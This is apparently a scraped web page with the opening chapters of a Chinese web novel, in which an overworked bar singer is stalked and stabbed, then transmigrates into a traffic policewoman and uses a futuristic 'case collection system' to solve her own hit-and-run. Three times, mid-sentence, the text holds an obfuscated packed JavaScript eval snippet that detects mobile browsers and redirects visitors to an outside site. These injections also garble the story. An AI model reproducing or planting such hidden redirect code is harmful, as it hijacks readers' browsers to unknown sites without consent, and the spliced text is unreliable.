《这个交警又破案了？》 1. 疯狂打工人 最近天气很热，天气预报说，准备要来台风。 人们抬头就可以看到，天上的云，被挥舞出各种肆意的形态，在夕阳的映照下，变成了一片片，五颜六色的绮丽的晚霞。 “天空真美呀……”程昭忍不住感叹，驻足停留，欣赏了片刻，然后快步走向下一个打工地点。 ………… 程昭今年25岁，长相勉强算是中人之姿，黄黑皮带着一点小雀斑，身材瘦削但是有肌肉。只看脸的话，她就是一个平平无奇的路人。但是认识她的人都一致认为，她有种独特的魅力，总是充满能量。 程昭曾从事过很多不同类型的工作：帮厨、推销员、美妆销售、咖啡师、教培销售、舞蹈老师、餐吧驻唱……她在工作中学到了很多东西。不过因为个人兴趣和一些现实因素，她不能专注一个职业发展。 她一天打两三份工。清醒的时候，不是在工作，就是在去工作的路上。 她的日常，就是睡醒、上班下班、上班下班、回家睡觉。 这样的生活，已经维持了七年。 七年前，程昭正准备高考。没想到家人陷入骗局，积蓄几乎被全部骗走，还欠了债。 父亲愧疚自杀。长期患病的母亲承受不住打击，一命呜呼。 就这样，18岁的程昭，突然变成了孤家寡人，还背负了亲戚朋友几十万的债务。 重重打击之下，程昭高考失利了。 她的分数，只能去上贵价的三本，但是她拿不出这么多钱。 她没有钱，也借不到，于是放弃了继续读书，决定出去打工，慢慢还清家里欠的钱。 程昭相貌平平，没有什么才艺，也没有好的学历。她只能从普通的工作做起。 不过好在，她遇到的大多数的人都不错，愿意教她。她一边工作一边学，摸爬滚打的，学会了很多职业技能，还学会了察言观色、为人处世之道。 与此同时，亲戚朋友也没有急着要她还钱。她不至于要去卖掉自住的房子，省下了租房的费用。 她打着几份工作，慢慢还，几年过去，她已经还了一大半了。 最近一段时间，程昭早上去做咖啡师，下午去做舞蹈老师，晚上去做餐吧驻唱。 她计划，等钱还得差不多的时候，少做一份工作，留点时间来自学，去考个大学，提升学历，弥补一下遗憾。 ………… 晚熏音乐餐吧，傍晚六点半，餐厅的客人也渐渐多起来了。 程昭在餐厅工作人员休息室，快速吃完了员工餐，然后擦干净嘴巴，洗了把脸，润肤之后开始化妆。 因奔波劳碌而晒黄晒黑的皮肤，变得白皙透亮…… 寡淡稀疏的眉毛，渐渐变成修长有型的野生眉…… 无神的近视眼，带上夸张的美瞳。杏眼在眼线眼影假睫毛的调整下，变成凌厉的狐狸眼…… 修容腮红调整出精致的骨相，棕红色的口红点亮了整张脸的气势…… 最后换上帅气的演出服，戴上妩媚的大波浪长发假发，程昭简直变成了另一个人。 “Chirs啊，每次看你化妆，我都觉得好神奇。”餐吧的女老板张熏，一脸花痴，托腮看着程昭。 “明明是很普通的脸，上了妆，就变成危险迷人的女妖精。幸好你来面试的时候，给你试妆试工……如果你当初去了隔壁的清吧工作，我该要哭死后悔死了。” “哈哈，那不会，我来这边之前去过那里面试，没带妆，那个老板直接丢了我简历……隔壁老板和你相比，差太远了，又抠门又看脸又喜欢擦边。”程昭苦笑。 “我一开始化妆也不好，这化妆技术，是以前做美妆销售学来的……时间不早了，我去和乐队集合了。” 程昭在张熏火辣辣的注视下，也有点不好意思，只想快点去工作了。 “亲爱的Chirs，去吧去吧～我等下也出去做气氛组～”张熏对程昭眨眨眼，笑着放了一下电。 ………… 乐队成员已经到舞台了，正在整理乐器和器材。 程昭笑着上前和大家打招呼，又和大家确认了待会要表演的曲目。餐厅后台的背景音乐切换完成，一切准备就绪，程昭她们开始了今晚第一段演出。 “Iwish……” 轻灵迷人的女声，在乐队的伴奏下，演唱着或忧伤或轻快的中英文歌曲。 客人们一边吃饭聊天，一边欣赏音乐。有的人还专门过去舞台前面，拿手机录视频拍照。 程昭演出了几个小时，轮班的另一个驻唱也过来了，就准备下场收工。 “歌手姐姐你好啊，我们好喜欢你唱歌，可以合照吗？”两个年轻女孩过来问，周围几个人也一脸期待的看向程昭。 “谢谢你们，合照吗？可以呀。”程昭爽快的答应了。周围几个人也跃跃欲试地走过来，在旁边排队等合照。 在合影的时候，有两三个人靠的太近了，都碰程昭的身体了，不过他们很快就移开了，没有什么过分的举动，程昭就没理会。 ………… 回到休息室，卸妆换衣服，变回原来普普通通的样子。她和老板打完招呼，就先下班回家了。 回到家已经十一点了，程昭匆匆做完家务，然后就去洗澡，然后准备睡觉。 睡觉前，程昭喜欢看一会网络小说。 她在榜单随便找了一篇小说，看了两章，才发现是本龙傲天小说。 龙傲天辍学去混帮派，因为机灵嘴甜，得到了一个小头目的赏识。 小头目贪污了帮派一笔钱，被龙傲天发现了。 龙傲天担心小头目会对自己不利，干脆先下手为强，找了个机会黑吃黑，开车撞死了小头目。 当时路上有个女交警，龙傲天怕被交警抓住，就把交警也撞死了。 好一个三观不正，心狠手辣的龙傲天！ 程昭继续往下看，发现这个被撞死的交警刚好也叫程昭，感觉更加被恶心到了。 她快速翻了几章，又看了一下评论区。 去世交警的妹妹，后来因为不知真相，糊里糊涂地被设计，喜欢了龙傲天，还差点被龙傲天收了后宫。 当妹妹发现了真相，与龙傲天反目成仇，最后也被弄死了…… 啊……这……也太恶心了，太无耻了。 程昭懒得去评论开骂，直接叉掉了页面。 不看了不看了，没营养的东西，浪费她的精神。 明天一早，她还要去咖啡店打工呢。 睡觉睡觉～ ………… 程昭梦见了一场流星雨。 无边无际的苍穹之下，星光闪烁，一道道流星，拖着长长的尾巴划过天际。如梦似幻，太美了，她都舍不得眨眼。 忽然一道白光迎面而来，把程昭吞没了。 “难道我被流星击中了？” 一转眼，程昭突然飘在了一片白茫茫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643712|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的虚空中，周围飘了云雾和星尘。 她正欣赏得忘乎所以，突然一道电子音响起。 “宿主你好，我是素材收集系统005号，你可以叫我小五。” 程昭四处张望，没有发现这里有其他人。 “你看不到我的，我没有实体，我在你身体里面。我来自未来，C712星系，一个比你们地球科技发达很多的时空。”小五停顿了一下，看到程昭有认真在听，满意地继续说。 “我们那个时空，科技发达，人们空闲时间多，精神空虚，娱乐需求比较大。政府鼓励加大娱乐事业。娱乐行业空前发达，各种各样的故事，都被搬上银幕，或者被制作成游戏。” “慢慢的，好多故事被反复改编使用，观众越来越厌倦。娱乐行业需要大量的新鲜素材故事，激发创作。” “在政府协助下，科技公司制造了一批素材收集器，发送到不同的时空，去收集素材。我就是其中之一，你是和我绑定的宿主。” 等小五介绍完，程昭疑惑地问：“既然你们社会那么发达，那么历史应该发展得挺长了。那应该有很多不同的神话传说、小说故事吧？” “故事反复改编，换不同的演员演绎，应该也不至于会厌倦到这么夸张的程度吧？” “像我们这边，金大侠的小说被拍过这么多版本了，但是播出还是很多人喜欢看呀。” 小五解释：“我们那边有点不一样。我们遇到过很严重的灾难，还经历过穿跃宇宙，一些文明断了传承。” “另外，我们时空的人均寿命300岁，老得慢，出生率也很低。娱乐圈更新换代得很慢，可能100年期间，当红演员都是那一批人。同样的，创作者也比较少，100年可能还是那些人。故事被反复改编，都拍不出什么新意了。” “政府设计和派出了我们这些素材收集系统，搜集各个时空世界的资料，来丰富知识库。” “同时，政府也想通过这个方法，找到和我们时空同源的时空，尝试拿资料来复原我们丢失的文明。” “哇，你们还兼具修复文明的任务啊。你们怎么去收集资料和素材呢？” 小五解释：“我们完成穿越的时候，系统后台就会自动收集，这个世界已保存的人文历史资料，然后慢慢上传回去。我们聊天这段时间，后台应该已经在收集，估计明天早上就收集完毕。” “而收集素材，是按类型收集的，我是负责收集探案素材。因为我们这些素材收集器，在异世没有实体，所以需要宿主帮忙，去触发事件和收集信息。事件结束后，我就可以收集到一个完整的案件素材。” 小五解释完，用期待的语气说：“虽然有点冒昧，但是希望宿主你可以帮忙，尽量去接触案件，拿到一些第一线的素材……” 程昭忍不住打断小五的许愿，她感觉有点无奈：“可是，我只是一个普通的打工人，看小说的时间都是挤出来的。哪有什么时间和机会，在第一线接触案件啊？我顶多只能看看报纸，和一些电视小说。” “不过你应该只是我的梦，估计睡醒就忘记得差不多了吧。”程昭小声嘀咕。 她现在身处一片虚空，周围飘着闪闪发光的星尘，这样梦幻的场景只能是在梦里吧。怎么可以当真呢？ 小五很无奈：“算了，等你清醒了，我们再继续说吧。晚安！” 小五声音刚落，漂浮着云雾和星尘的虚空慢慢消失了，程昭陷入了深度睡眠。 2. 跟踪事件 一觉醒来，程昭感觉神清气爽。 昨晚好像做了一个神奇的梦，有个什么素材收集系统…… “早安，程昭。”梦里听过的电子音在程昭耳边响起。 程昭吓了一跳，屋子里没有其他人，难道昨晚的梦是真的？她用力地掐了自己的大腿，腿上传来清晰的痛感。 “当然不是梦了，我都告诉你了。” “所以昨晚你说的，都是真的？好神奇，未来的系统，好像科幻电影。” 程昭突然想起一个问题：“别人会听到你的声音吗？” “不会，在这里只有你可以听到我的声音。你还可以通过默念和我交流。” 程昭很想继续和小五聊天，但是早上上班时间比较早，她只能先赶紧洗漱吃早餐，然后去咖啡店打工。 ………… 早上的咖啡店很忙碌，很多上班族喜欢早上点咖啡，做早餐和提神。 外卖爆单，程昭马不停蹄地看单子、做咖啡、打包，有时候还要去加热半成品的面包、解冻蛋糕。遇到堂食的客人，还要按要求给他们拉花。 好不容易中午休息，程昭正想和小五聊天。 但是没聊几句，同事过来找她一起吃饭，程昭只能让小五再等等 吃完饭，程昭和早班的同事一起搞卫生。 搞完卫生，程昭又匆匆赶去舞蹈工作室，去教爵士舞。 等舞蹈课结束，程昭继续马不停蹄的，赶去音乐餐吧。 如果去晚了，她吃饭又要赶紧吃，再好吃也吃不清楚什么味道。 小五服了。它的宿主是什么顶级牛马啊！一整天的，居然都在打工。连和它谈话，也是路上见缝插针地讲几句。 它的案件素材，何年何月才能收集到足够的数量啊？要知道，它们素材收集器，也是要被评分的。未来它回去C712，难道要被其他收集器嘲笑吗？ 小五感觉前途一片灰暗。 程昭白天没时间关心小五的情绪，她太忙了。 可能几年后她还清债务，她会清闲一点，然后带着小五，到处去围观案发现场吧。不过她一个普通群众，也只能在封锁线外面，听听八卦，看看报纸吃瓜。 ………… 到了音乐餐吧，程昭照常拿了员工餐，去休息室，吃饭和换装。 当程昭化完妆，拿起演出服。耳边听到叮的一声响。小五突然说，“等等，程昭。这个衣服是你的？” “对呀，怎么了？” “系统感应到有情况。你这个衣服，可能有点问题。你最好检查看看。” 程昭一脸茫然，里里外外检查了一遍，发现衣服口袋里面有个纽扣模样的东西。 程昭拿手机，用购物软件扫描了一下，发现是个定位器。 定位器？是什么人，什么时候放进来的？ 昨天上台表演之前，她摸过口袋放手机，记忆中里面是没有这个东西的。 放定位器的时间，应该是昨晚下台，和今天她过来上班之间这段时间。 这衣服换下来之后，就一直放员工休息室里。虽然说休息室仅限员工使用，但是门很少锁上，所以外人也是有可能的。 而且，员工都知道，演出服不会拿回家的。如果是员工做的，那应该直接放她包包里面。 那么，是下台和粉丝合照的时候，被塞进来的？这个定位器只塞她口袋里面了吗？别人会不会也有？ 这时，老板张熏经过，程昭连忙向她招手，并给她看了演出服的定位器。 “昨天上台的时候，我口袋里面没有这个东西。不知道其他人口袋会不会也有，大家最好都检查一下。” “好的，我悄悄去和大家说这件事。我等下就去看监控，查一下有没有外人进来……我店里居然发生这种事……Chirs你今天还要上台表演吗？” 张熏对这种事情很重视，担心会不会出什么问题。难道是有人想要针对她的店？还是有人想要害Chirs？ “我先照常演出吧，看看有没有可疑的人。麻烦老板你先确认一下，其他人有没有被放定位器。”程昭想了一下，决定还是照旧演出。 张熏连忙出去找人确认，几分钟后，她跑回来了。 她压低声音和程昭说道：“没有，大家都掏过口袋，包包也检查了。保安还在查监控，目前没有什么发现。你有没有想起，谁对你不怀好意？” 程昭摇摇头，一时之间也想不到有谁想跟踪自己，“平时顶多就是客人过来拍照合影，没有什么奇怪的人。” “那今晚演出你注意一下，下班我找人送你回去。”张熏担忧地看着程昭，小声说。 “嗯，好的，谢谢你。” 小五等程昭和别人说完话，赶紧和她说，“程昭，之前忘记和你说一个功能了。你心里默念事件收集器，应该可以看到一个界面。” 小五一边说，一边指示程昭查看界面，“上面会显示你遇到的所有事件。打开一个事件，页面会显示你所有接触过的信息，这些信息按照与事件的关联程度排序……” 程昭按指示，打开了事件收集器界面。 只见界面显示了一个事件“程昭被跟踪事件（未完成）”。点开看到事件概述，还有信息关联表。 事件概述写着，程昭被人放置了定位器，疑似被跟踪，事件发展未知…… 而信息关联表，则列了一大串信息，大部分是她知道的事。表格的内容，最上面的发着绿光，由上至下颜色光芒越来越浅。后面那些数不清的内容，都是没颜色不发光的 “咦，这个信息关联表所显示的内容，好像比我知道的要多一点。而且上面有很少一部分的内容，发着绿光。” “是这样的。有时候一些信息你接触了但是没留意，而系统会自动收集你所有接触过的信息。在信息关联表里面，越靠前的信息越和事件关系密切，这些有关信息会被标记绿光。完全没关系的信息就不会发光。”小五解释完，停了一下，又补充说。 “这个工具是宿主用的，我这边看不到，所以你要自己多留意看看。你触发的事件结束之后，我才会接收到事件全部的信息，然后后台归档。” 程昭仔细阅读，列表上面显示： 演出服内有定位器，定位器有产品编码； 演出服上面有一些其他人的头发；其他人没有收到定位器； …… “有编码，应该可以查到购买人吧？或者使用人的信息？演出服沾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643713|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人的头发，不知道有没有那个人的头发……”小五和程昭讨论。 “可是现在还没有发生什么事……我先留意一下可疑的人吧，然后自己小心点……今晚看看能不能找人结伴一起回家……”程昭在心里默念，对小五说道。 程昭看到有线索，不至于好像没头苍蝇一样，好像感觉安心了一点点，但是并不多。 有人在暗中窥视的感觉，太难受了。 晚上的演出，程昭无法全程投入。她看着餐厅里面的每一个人，切身体会到什么叫杯弓蛇影。 这种状态下，程昭难免偶尔出点差错，不过大多数都被乐队掩饰过去了。一般人不会发现。 同事们都知道了程昭被偷偷放了定位器，都很关心和同情她。 乐队的贝斯手阿伟，趁换歌休息的时候，偷偷和程昭说：“等下你要回家的时候，我陪你回去吧。我们几个商量好了，这阵子，每晚派一个人和你一起走。” 程昭看着关心她的同事，感觉心里有一股暖流流过。她一脸感激地点头，大方接受的大家的好意。 好不容易，演出完成，程昭回到休息室。 张熏过来和她说：“保安查完监控了，昨晚和今天没有外人来过休息室。估计是外人搞的鬼。你等下和阿伟一起走，他们和我说了。乐队少个人不算太明显。” 然后她又说，“你明天要不要去报个警？需要我陪你去吗？我早上来接你吧。 “好啊，谢谢老板。”程昭点头，感动的说。 这时，张熏的电话响了，她出去听电话，走开了。 程昭卸完妆换好衣服，不过贝斯手阿伟还没有过来找她。 于是，程昭打开了事件收集器，想要再看看有没有什么新信息。 信息关联表里面，多了很多新信息。很多信息都是她视线范围内，出现过的事情。而且，大多数新信息的关联度都比较低。 她在台上杯弓蛇影的那些，也记录在列表里面了，不过排在了很后的位置，而且没有发光标记。 但是，有几条新信息有发光标记，里面还反复提到了一个客人。 “有个背对舞台的男子，时不时拿起手机自拍”——刚才，舞台前方远一点的桌子，好像是有个背对舞台坐的客人。 “程昭和贝斯手谈话，有个背对舞台的男子回头看着他们”——背对着舞台，应该不知道他们在谈话吧。难道他用什么方法，一直看着舞台？ “程昭和贝斯手离开舞台，有个背对舞台的男子也同时离开”——难道就是这个人？ 但是，如果跟踪狂是这个人，为什么在列表排序这么后呢？程昭想不明白，干脆问了小五。 “我猜哦，可能是因为你被跟踪的这件事，和你刚刚在餐厅看到的信息没有直接的关联。如果跟踪你的人，来餐厅只是吃饭的，没有对你做什么事情。这时你看到他，也不算是直接证据？” 小五表示，它也没用过这个功能，只能宿主自己探索。 来自高科技世界的系统，也这么随意的吗？世界果然是个巨大的草台班子…… 程昭一边心里吐槽，一边给老板和贝斯手打电话。 没想到，老板娘的电话打不通，贝斯手的电话也没人接。 3. 死亡新生 贝斯手阿伟迟迟没来，而且没人接电话，程昭有点担心，决定去男休息室看看。 女员工休息室和男员工休息室之间，隔了洗手间和通往后门的走廊。 程昭正要快步走过，忽然听到后门外，隐隐约约有声音传来。 程昭立马有了不好的预感。 她跑去男休息室，看到门没有关，里面也没有人，阿伟的包包放在桌面上。 程昭给老板和工作小群都发了个信息，大概说了一下事情。 然后，程昭拿了一把扫把，当成武器，小心翼翼地靠近后门。 小五十分紧张，它忍不住低声问：“程昭，你要自己过去看吗？会不会有危险啊？不如先去找人帮忙？” 程昭默念回答：“我有种不好的预感，如果不尽快去查看，阿伟可能会出事……而且我已经给店里的人发信息了，应该等下就有人来了。我先去查看应该没事。” 后门没关严，留了一条缝，她正想过去偷看。 突然，后门的感应灯亮了。 糟了，忘记这个灯是感应灯！ 程昭想要后退，后门唰一下被打开了，一个有点眼熟的男子走进来。 男子看到拿着扫把戒备的程昭，笑着说：“这位小姐，你怎么了？” 看到男子如此淡定，仿佛没事发生，程昭开始疑惑，是不是自己太疑神疑鬼了。她后退一步，说：“后门是员工通道，客人请走前门。” 听到程昭的声音，男子脸色突然一变，他一把抓住程昭，把她拉了出去。 “啊——救命——”程昭一边尖叫，一边想要用扫把打这个男的，却被男子迅速用一块纱布捂住嘴。 程昭不小心吸了一口气，闻到一股奇怪的味道，然后就有点迷迷糊糊，手软脚软，手上的扫把也掉落在地上。 “这个声音……是Chirs！不对！不可能！你和她长得不一样！”男子听到程昭呼救的声音，神经质地自言自语。 他抓住程昭，把她拉到了后门外的巷子里。地上躺着一个人，正是贝斯手阿伟。 阿伟看起来刚被狠揍了一顿，甚至有点神志不清，他看到程昭，迷糊说：“Chirs你……快走……” 惨了，难道这个就是放定位器，想跟踪她的人？ 看到阿伟的惨状，和被捉住的程昭，小五也急了。 但是它没有实体，别人也听不到它说话，它没办法做什么事情，小五急得要哭了。 “不会的！你们骗我的！我不信！”男子拿出一把刀，狠狠地扎了程昭大腿。 程昭痛呼出声。 男子再次听到程昭的声音，越发觉得她就是他一直狂热迷恋的歌手Chirs。 他更加暴怒失控了。他拿着刀，疯狂地捅了程昭几刀，程昭的血流了一地。 远处有人过来了，男子慌忙想逃跑，最后男子被捉住了。 程昭意识到，自己的生命正在流逝，她感觉不到疼痛，也渐渐听不清小五的声音了。她陷入昏迷。 ………… 程昭在一个医院醒来。 难道她没死？程昭小心地摸了一下腹部。奇怪了，她的腹部好像没伤口。 然后，程昭留意到，床边有个趴着睡觉的女孩，她的手拉着她的手，脸上还有干掉的泪痕。她年龄应该很小，皮肤白皙，长着一张娃娃脸，看起来十分甜美可爱。 “这个女孩子是谁？”程昭正想问，突然感觉到一阵头晕。 女孩感觉到程昭动了，她立马醒了过来。看到清醒的程昭，她开心得跳起来：“太好了，姐姐你醒了！我出去找医生……” 女孩激动地跑出了房间，完全忘记了床边有呼叫按钮。 “你头晕是正常的，你之前死了，我带着你穿越了。”小五出现了，它的声音听起来有点疲惫。“没想到短短两天我又穿越了……” 原来，程昭抢救无效，死了。小五为了完成任务，于是带着程昭的灵魂穿越到了一个衍生世界。 这个世界和程昭原来的世界差不多……只是…… “居然是那个龙傲天小说的衍生世界？我变成了那个路人炮灰？” “是啊，因为这个是你最近看的故事……如果你最近看的，是你之前说的什么福尔摩斯、波洛探案集，我们可能就去那边了。”小五莫名感觉有点可惜。 “啊……早知道我那天晚上就不看新书了……”程昭叹气，太可惜了。 突然，程昭又感受到一阵强烈的头疼。 程昭觉得自己的头，好像放在了黄果树瀑布下面，被瀑布狠狠地冲刷。 炮灰程昭这一生的记忆，一下子涌入她的脑子里，走马观花般，快速播放了一遍。 ………… 女孩带着医生护士过来了。医护人员给程昭做了一遍详细的检查，程昭忍着头晕配合。 过了一会儿，程昭感觉自己不晕了。房间里面刚好有镜子，她不动声色地挪过去看。虽然脸上有伤，脑袋还缠着纱布，但是可以看出原身的长相长得还不错，和旁边的女孩有七分相似，不过程昭的样貌更英气一些。 医生检查完了，他仔细地核对完检查的数据，高兴地说：“不错不错，简直是奇迹！现在看，颅内的血块变小了，被身体吸收了……不过还要住院几天，观察一下。记得不要剧烈运动，骨折和肌肉挫伤这些损伤，也需要好好静养。” 女孩，程昭的妹妹程露，十分激动，兴奋得原地跳了几下，“太好了！姐姐，你没事真的太好了……” 然后，程露小心翼翼地拉住姐姐的手，依恋的靠着程昭，女孩的眼睛又湿润了。 一个人生活了好几年的程昭，看着程露，仿佛看到了当年的自己。 在这个世界，程昭程露一年前失去了双亲，两姐妹相依为命。比较幸运的是，她们家还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643714|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富裕，没有什么债务。 如果程昭没了，程露就会成了孤家寡人。 程露今年16岁，还在读高一。 程昭今年24岁，刚刚完成了实习，成为正式交警。 既然她接替了原身的身体，那么也好好承担她的一切吧。 程昭在心里默念，程昭，我会照顾好妹妹，和帮你报仇的，请放心。 莫名的，程昭仿佛听到一声叹息，然后感觉有什么东西离开了。 小五也感觉到了，“好像是原身的执念。应该是通过你的记忆，知道了龙傲天的故事，心怀不甘。但是现在她已经走了。” 程昭也觉得是原身的执念。 换作是她被人祸害了一家，她死了也不会瞑目。 虽然没有看完小说，但是程昭已经知道了一些有用信息。 龙傲天男主，姓名韩高煊，A市人，高中辍学去混帮派，跟了一个小头目。他黑吃黑，杀死了小头目。接下来，应该就是去尝试，接管这个小头目的势力。不过这个帮派多个势力林立，他还是个小喽喽，不够格接管。尝试失败之后，他带着几个小弟，去投靠了一个更危险的地下组织…… 目前小说是发展到他黑吃黑，杀了帮派小头目。接下来，他应该是准备去拿小头目私吞的钱，发展自己的势力。 现在程昭穿越来了，肯定不会让这个杀害原身的人轻轻松松的平步青云了。 她了解车祸背后的事情，知道这个凶手。等警察来，她就可以借机曝光这个龙傲天了。 有警察追查车祸，帮派也会发现事情的真相。龙傲天私吞资金，帮派也不会容忍他。他想跳槽去另一个地下组织，也不会那么容易。 当然了，龙傲天背后的帮派、组织，她也会找机会透露给警方。 “这个韩高煊和他关联的帮派组织，肯定背着很多案件。”小五握爪，脸上满是期待。 “而且现在你是交警，肯定更加容易接触案件了。你可要积极收集呀！”小五泪眼汪汪地看着程昭，可怜兮兮地说。 “我这次为了带你穿越，消耗了不少能量，如果我素材收集任务没有做好的话，我会不及格的。好程昭，你不会让我这么惨的，对吧？” “没问题，妥妥的。”程昭郑重表示，自己绝对会积极配合小五，认认真真地收集案件事件做素材。 她带着收集器，走到哪里都在收集信息。一旦遇到什么事件，她就可以通过信息关联表，发现关键线索，这样就可以让查案的人，去查相关线索，尽快破案了。 如果她拿着不用，那就太浪费了。 之前她是刚刚拿到，不熟悉使用规则。如果那晚在餐厅，她一边在眼前开着信息关联表，一边工作，她就可以早点发现那个跟踪狂了。也不会一个人去后门冒险。 等下次遇到案件，她要开着功能小窗口，到处收集信息，肯定把关键线索一网打尽！ 4. 住院日常 程昭清醒之后，联系了她的领导同事。领导让她安心休养，身体没事了，再回去销假。 同事们也纷纷组队，带着大包小包的零食水果过来探望。 聊天的时候，同事们还告诉程昭，她被车撞了之后的事情。 “……幸好你前面处理的案件，那个小车祸的车主没走远，留意到你那里有车子在乱撞人，及时打电话报了警。”同事孙敏敏一脸后怕，绘声绘色地描述着事情经过，还拿了手机给程昭看，她在案发现场拍到的照片。 “这个犯人简直就是丧心病狂！连续撞了两个人……你看，这里栏杆都变形了，太狠了，绝对是故意的……” “监控只拍到那个人的背影，他好像下车捡走了什么东西。你的工作记录仪，应该就是被他拿走了……之前你一直昏迷不醒，案件缺少目击者，警方掌握的线索太少，一直没有什么进展……当时真的是吓死我了，你伤得好严重。现在你没事真的太好了。” 孙敏敏握着程昭的手，感受着程昭的体温，一脸庆幸。 “哎哎，大难不死必有后福，程昭后面肯定会顺风顺水的。”同事李涛安慰道。 ………… 同事们离开后不久，有两个警察过来找程昭。 其中一个看着是主导的男子，看起来不像警察，反倒是像杂志上的模特，五官立体，剑眉星目，身形修长。 不过他的神态严肃，举手投足之间颇有威严。本来，同房的病友在一边讨论八卦，他一进来，一群人都不约而同的，一边偷瞄帅哥一边找借口出去了。 另一个年轻一点的警察，小圆脸，笑眯眯的，看起来很有亲和力。 “你好，程昭。我们是负责你所涉及的车祸案件的警察。我叫周立言，是刑事三队的队长。这位是我的同事，侯远山。”两人和程昭打完招呼，介绍完自己，就向程昭询问案发经过。 程昭思考了一下，决定先将她记忆里的案件经过复述一遍，然后看看警察对案件的掌握程度，再夹杂一些关于龙傲天的私货。 程昭看着两个警察，一边回忆一边说：“我那天晚上，去恒丰路处理一个车辆剐蹭的交通事故。因为车主各不相让，时间花得比较久，我处理完之后去了路边的便利店买水喝。” “在路上，看到了两个人一会拉拉扯扯一会勾肩搭背地谈话，我就多看了两眼。他们看到我就停下来不说话了，然后我就继续过去买水。” “在便利店停留了十来分钟，我走回去，打算取摩托车离开，突然有个车子冲出来撞了一个人，那个人是我之前看到的两个人之中的一个。” “我想过去看看伤者和记下车牌号，没想到，那车子直接冲过来我这边……然后我就昏过去了，都来不及呼叫总台。” 周立言一边听一边记录，等程昭说完，缓缓问道：“你有看清他们的样子吗？或者有听到他们的谈话内容吗？” “看清了，而且我还有个更直观的证据。你们猜猜是什么？”程昭点头，笑着说。 侯远山连忙问道：“难道你刚好拍照了？不对呀，你的手机，之前你妹妹帮忙看了，那天没有什么新照片……你的工作记录仪又被拿走了……” 程昭爽快地说出了谜底：“答案是记录仪的记忆卡。在便利店的时候，刚好提示记忆卡存满了，我就换了替换卡。记忆卡放在钱包的夹层，钱包好像还在你们那里。” 没想到这一趟有这么大的收获，两个警官不禁都笑了。 程昭觉得周警官笑起来更帅了，简直在闪闪发光。 可惜，周立言笑了一下就又变回了冷淡风，只留了一丝笑意在嘴角。 周立言正色道：“非常感谢你的配合。我们回去就去查看犯人的影像，迟些我们会再来找你确认。你还有什么补充的吗？” “补充的话，我想一想啊……他们讨论的时候，我隐约听到死者叫另一个人，韩高生还是韩高煊什么的。然后那个人好像是死者的小弟跟班，他叫死者昆哥还是军哥……还谈到了建设银行取钱……” 这些信息，自然是看小说的时候看到的。他们在那时候讨论的话，当时程昭距离比较远。她不能表现出她听得很清楚，那太假了。 说着说着，程昭沉吟片刻，露出为难的表情。 程昭试探道：“嗯，是这样的，我因为头部受伤，有一些细节记得不是很清楚。可以麻烦你们告诉我，一些我可以了解的信息吗？什么内容都可以，说不定我看了，可以回忆起来，一些细节。” 两位警官顿时面面相觑，你看我，我看你。 程昭是目击证人和受害者，但是也是他们系统里面的人。给她看一些可以公布的细节，说不定会有发现。 周立言沉吟片刻，点点头，说：“我们可以先给你看一些已经公布和打算公布的细节，但是你看完之后不能传播出去。” 程昭连连点头，发誓自己绝对不会传出去。 周立言让侯远山拿出，之前整理出来，准备提供给媒体的资料。 程昭接过资料，仔细地一一查看。同时，她呼唤出事件收集器，点开了车祸事件，在视线的一边，挂着信息关联表刷新信息线索。 果然是术业有专攻。即使是警方准备向媒体公布的内容，也比交警同事随手拍的，详细很多。车祸现场，很多相关痕迹，都一一放了标记。 程昭打开的信息关联表，在虚空中疯狂更新。 程昭看完，思考了片刻，一边说一边指着相关的资料：“死者这个树形文身，和他说话的那个人的身上也有个类似的。不过有点不同，死者的树枝多一点。” 这个纹身是韩高煊现在帮派的纹身，树枝越多代表势力越多。只是，这个帮派不是很有名，不知道警方有没有留意。 侯远山看了程昭指的内容，然后看了一下自己手上的笔记本，点头说：“这个纹身我们以为是普通的图案，后续我们去查一下有什么含义。” 然后程昭指向下一个目标，“这里就是他们谈话站的地方，我当时路过好像有闻到烟味，不知道是不是他们吸过烟。” 她其实并没有留意到烟味，是列表里面显示了——死者嫌疑人站过的地方留有吸过的烟蒂。 手上资料的图片是远景，那么小的烟蒂，她也没有看到，真是全靠系统提点了。 周立言拿手机看了一下，确定道：“是的，这个地方确实是有烟蒂。不过这个物证的检查排得比较后，我让实验室把这个物证的优先级提前。如果可以检测的疑犯的DNA，再加上他的长相，应该可以很快确定他的身份。” 程昭点点头，决定再夹杂一个私货，“死者被撞之前，应该是从这个路口出来的。” 小说里有提及过，死者在这个小区养了个小三，这个小三是他的帮手，知道一些事。死者确实是从这个小区离开的时候，被龙傲天伏击杀害的。 程昭记忆里，是没看到死者从那里走出来的，不过那边路上没监控，不怕穿帮。 